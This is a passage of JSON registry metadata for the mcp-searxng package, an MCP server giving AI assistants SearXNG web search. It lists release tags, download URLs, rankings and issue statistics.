sokoliuk/mcp-searxng/tar.gz/v0.7.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.5/manifests"},{"name":"v0.7.4","sha":"20d2f5de6eb64d62d13adb642f29a8ab94ef2d2f","kind":"commit","published_at":"2025-10-19T20:18:54.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.4/manifests"},{"name":"v0.7.3","sha":"0a4d3f393e9e771fcad0dfe32c40d56fe9830f85","kind":"commit","published_at":"2025-10-19T20:16:09.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.3/manifests"},{"name":"v0.7.2","sha":"d9f997cf2a617b82f691956a3ceffca54f443b7a","kind":"tag","published_at":"2025-10-19T20:13:26.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.2/manifests"},{"name":"v0.7.1","sha":"62f0d26df2f186f0c259214f836607cac8b8ede1","kind":"tag","published_at":"2025-10-19T20:12:17.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.1/manifests"},{"name":"v0.7.0","sha":"73035fde630b15d0937892953ed6c72ce462738a","kind":"tag","published_at":"2025-09-25T03:58:06.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.7.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.7.0/manifests"},{"name":"v0.6.5","sha":"04109ba6419e4ee9fce08503e9948d18c8616d6a","kind":"tag","published_at":"2025-09-08T20:15:52.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.5/manifests"},{"name":"v0.6.4","sha":"cf8a590d143abb298c7edb50522d0d4ddb3213cb","kind":"tag","published_at":"2025-09-08T18:07:42.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.4/manifests"},{"name":"v0.6.3","sha":"b6aac7df026ca37142a3b94868864e0932573239","kind":"tag","published_at":"2025-09-08T16:38:10.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.3/manifests"},{"name":"v0.6.2","sha":"b75093448fd31a6643ae3d94ff1dd239bdba23bb","kind":"tag","published_at":"2025-09-06T20:56:13.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.2/manifests"},{"name":"v0.6.1","sha":"6ec6132b63d3003757e8b6b9fe5dfa023f22edae","kind":"tag","published_at":"2025-08-24T19:41:06.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.1/manifests"},{"name":"v0.6.0","sha":"de7e3f108dd4ce7e9c3a067235f8c0518bba5ff5","kind":"commit","published_at":"2025-08-23T04:49:25.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.6.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.6.0/manifests"},{"name":"v0.5.2","sha":"f2b4c0f7f4494ec86e6242480dcb789502749d86","kind":"tag","published_at":"2025-08-09T00:51:20.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.5.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.2/manifests"},{"name":"v0.5.1","sha":"383b32dee5232fdb6e9b241df2271c4a22c7a004","kind":"tag","published_at":"2025-07-07T22:55:51.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.5.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.1/manifests"},{"name":"v0.5.0","sha":"e2291216e0fb52f8199f8d7c38348a6a1e7ec060","kind":"commit","published_at":"2025-06-02T03:10:07.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.5.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.5.0/manifests"},{"name":"v0.4.7","sha":"41ad5e534404db89fc6dfea18be30674db0b2fa5","kind":"tag","published_at":"2025-06-02T03:09:29.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.7","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.7/manifests"},{"name":"v0.4.6","sha":"cf5128a1409befc4a658cc170332357e0fb8e29e","kind":"tag","published_at":"2025-04-22T16:23:34.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.6","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.6/manifests"},{"name":"v0.4.5","sha":"b7e720b842e0c017bf18a74bdaa8a05a0e6dbf64","kind":"tag","published_at":"2025-04-22T00:58:29.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.5/manifests"},{"name":"v0.4.4","sha":"df39042139b11820580732f2c43f0cbbc6f768bd","kind":"tag","published_at":"2025-04-22T00:54:36.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.4/manifests"},{"name":"v0.4.3","sha":"cfaac057e157da0c76cb5cb46b7fcc461ddb7868","kind":"tag","published_at":"2025-04-22T00:51:28.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.3/manifests"},{"name":"v0.4.2","sha":"aa6c5c233194aa9566163b3a0dae8e68d0c2c640","kind":"tag","published_at":"2025-04-22T00:42:42.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.2/manifests"},{"name":"v0.4.1","sha":"e32f704d56567ecd6a49a03638e85e5d016cd3a5","kind":"tag","published_at":"2025-04-19T23:48:11.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.1/manifests"},{"name":"v0.4.0","sha":"ae12a306d615057c328d201cc497d5aad6571583","kind":"commit","published_at":"2025-04-19T23:33:44.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.4.0","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.4.0/manifests"},{"name":"v0.3.7","sha":"8d9592923bfe89ba345a823599effc929dc88c2f","kind":"commit","published_at":"2025-04-19T23:31:50.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.7","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.7","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.7","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.7","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.7/manifests"},{"name":"v0.3.6","sha":"80a912c94869adf5b12fc068d834ad4ffda6c251","kind":"commit","published_at":"2025-04-19T23:28:43.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.6","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.6/manifests"},{"name":"v0.3.5","sha":"6ad31a3101a311f1fee8650b82c4d30d631c2612","kind":"commit","published_at":"2025-04-19T23:25:08.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.5","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.5","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.5","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.5","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.5/manifests"},{"name":"v0.3.4","sha":"12601a381127142244c084035627d1e5366629c1","kind":"tag","published_at":"2025-04-19T22:31:18.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.4","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.4/manifests"},{"name":"v0.3.3","sha":"265342b209d930a49235ce8a078d94ca26d935fa","kind":"tag","published_at":"2025-04-17T02:23:17.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.3","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.3/manifests"},{"name":"v0.3.2","sha":"77e3e6290238a4ad4f14fa6caa3079a800aff07d","kind":"tag","published_at":"2025-04-17T02:15:25.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.2","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.2/manifests"},{"name":"v0.3.1","sha":"c23cd418ecccc7aacbd770b94388c180f33dbf1b","kind":"commit","published_at":"2025-04-17T01:19:17.000Z","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/v0.3.1","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng/releases/tag/v0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng@v0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags/v0.3.1/manifests"}]},"repo_metadata_updated_at":"2026-10-10T20:46:20.229Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":5.950856239494205,"dependent_packages_count":5.577347389065947,"stargazers_count":12.313062049803976,"forks_count":9.50912761517082,"docker_downloads_count":null,"average":8.337598323383737},"purl":"pkg:golang/github.com/ihor-sokoliuk/mcp-searxng","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/go/github.com/ihor-sokoliuk/mcp-searxng","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/go/github.com/ihor-sokoliuk/mcp-searxng","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/go/github.com/ihor-sokoliuk/mcp-searxng/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-10-09T09:27:28.023Z","issues_count":25,"pull_requests_count":150,"avg_time_to_close_issue":1215908.8125,"avg_time_to_close_pull_request":202543.14503816795,"issues_closed_count":16,"pull_requests_closed_count":131,"pull_request_authors_count":23,"issue_authors_count":25,"avg_comments_per_issue":3.36,"avg_comments_per_pull_request":1.8666666666666667,"merged_pull_requests_count":98,"bot_issues_count":0,"bot_pull_requests_count":50,"past_year_issues_count":16,"past_year_pull_requests_count":141,"past_year_avg_time_to_close_issue":1460293.75,"past_year_avg_time_to_close_pull_request":202261.40157480314,"past_year_issues_closed_count":12,"past_year_pull_requests_closed_count":127,"past_year_pull_request_authors_count":15,"past_year_issue_authors_count":16,"past_year_avg_comments_per_issue":3.6875,"past_year_avg_comments_per_pull_request":1.978723404255319,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":50,"past_year_merged_pull_requests_count":94,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/issues","maintainers":[{"login":"ihor-sokoliuk","count":77,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ihor-sokoliuk"}],"active_maintainers":[{"login":"ihor-sokoliuk","count":77,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ihor-sokoliuk"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fihor-sokoliuk%2Fmcp-searxng/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fihor-sokoliuk%2Fmcp-searxng/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fihor-sokoliuk%2Fmcp-searxng/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fihor-sokoliuk%2Fmcp-searxng/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fihor-sokoliuk%2Fmcp-searxng/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages/github.com%2Fihor-sokoliuk%2Fmcp-searxng/codemeta","maintainers":[],"registry":{"name":"proxy.golang.org","url":"https://proxy.golang.org","ecosystem":"go","default":true,"packages_count":2540849,"maintainers_count":0,"namespaces_count":853422,"keywords_count":141783,"github":"golang","metadata":{"funded_packages_count":116681,"sync_missing_packages_cursor":{"timestamp":"2026-09-29T00:04:57.155362Z","path":"github.com/virtengine/virtengine/sdk/specs","version":"v0.0.0-20260928231908-c0c887541540"},"rate_limit":5},"icon_url":"https://github.com/golang.png","created_at":"2022-04-04T15:19:22.939Z","updated_at":"2026-10-17T05:08:55.707Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/proxy.golang.org/namespaces"}},{"id":11215817,"name":"mcp-searxng","ecosystem":"npm","description":"MCP server for SearXNG integration","homepage":"https://github.com/ihor-sokoliuk/mcp-searxng","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/ihor-sokoliuk/mcp-searxng","keywords_array":["mcp","modelcontextprotocol","searxng","search","web-search","claude","ai","pagination","smithery","url-reader"],"namespace":null,"versions_count":83,"first_release_published_at":"2025-04-14T04:15:13.243Z","latest_release_published_at":"2026-10-13T11:58:49.715Z","latest_release_number":"2.6.0","last_synced_at":"2026-10-16T16:47:29.405Z","created_at":"2024-12-25T15:00:17.656Z","updated_at":"2026-10-16T16:47:31.959Z","registry_url":"https://www.npmjs.com/package/mcp-searxng","install_command":"npm install mcp-searxng","documentation_url":null,"metadata":{"funding":null,"dist-tags":{"latest":"2.6.0"},"contentPolicy":null},"repo_metadata":{"id":270404339,"uuid":"907172461","full_name":"ihor-sokoliuk/mcp-searxng","owner":"ihor-sokoliuk","description":"Private web search for AI assistants via SearXNG — supports Claude, Cursor, and any MCP client","archived":false,"fork":false,"pushed_at":"2026-10-10T19:17:22.000Z","size":1793,"stargazers_count":1292,"open_issues_count":0,"forks_count":163,"subscribers_count":4,"default_branch":"main","last_synced_at":"2026-10-10T20:45:33.141Z","etag":null,"topics":["ai","claude","cursor","llm","mcp","mcp-server","mcp-servers","privacy","search","searxng","self-hosted","web-search"],"latest_commit_sha":null,"homepage":"https://www.npmjs.com/package/mcp-searxng","language":"TypeScript","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/ihor-sokoliuk.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":null,"license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":".github/CODEOWNERS","security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null}},"created_at":"2024-12-23T02:00:51.000Z","updated_at":"2026-10-10T19:17:23.000Z","dependencies_parsed_at":"2026-08-27T15:45:07.609Z","dependency_job_id":"2ba83c2e-dc53-4e03-a35a-2de122068569","html_url":"https://github.com/ihor-sokoliuk/mcp-searxng","commit_stats":null,"previous_names":["ihor-sokoliuk/mcp-searxng"],"tags_count":83,"template":false,"template_full_name":null,"purl":"pkg:github/ihor-sokoliuk/mcp-searxng","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/ihor-sokoliuk","download_url":"https://codeload.github.com/ihor-sokoliuk/mcp-searxng/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ihor-sokoliuk%2Fmcp-searxng/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":344836268,"owners_count":38330654,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-10-03T21:59:58.778Z","status":"online","status_checked_at":"2026-10-16T02:00:06.653Z","response_time":55,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/G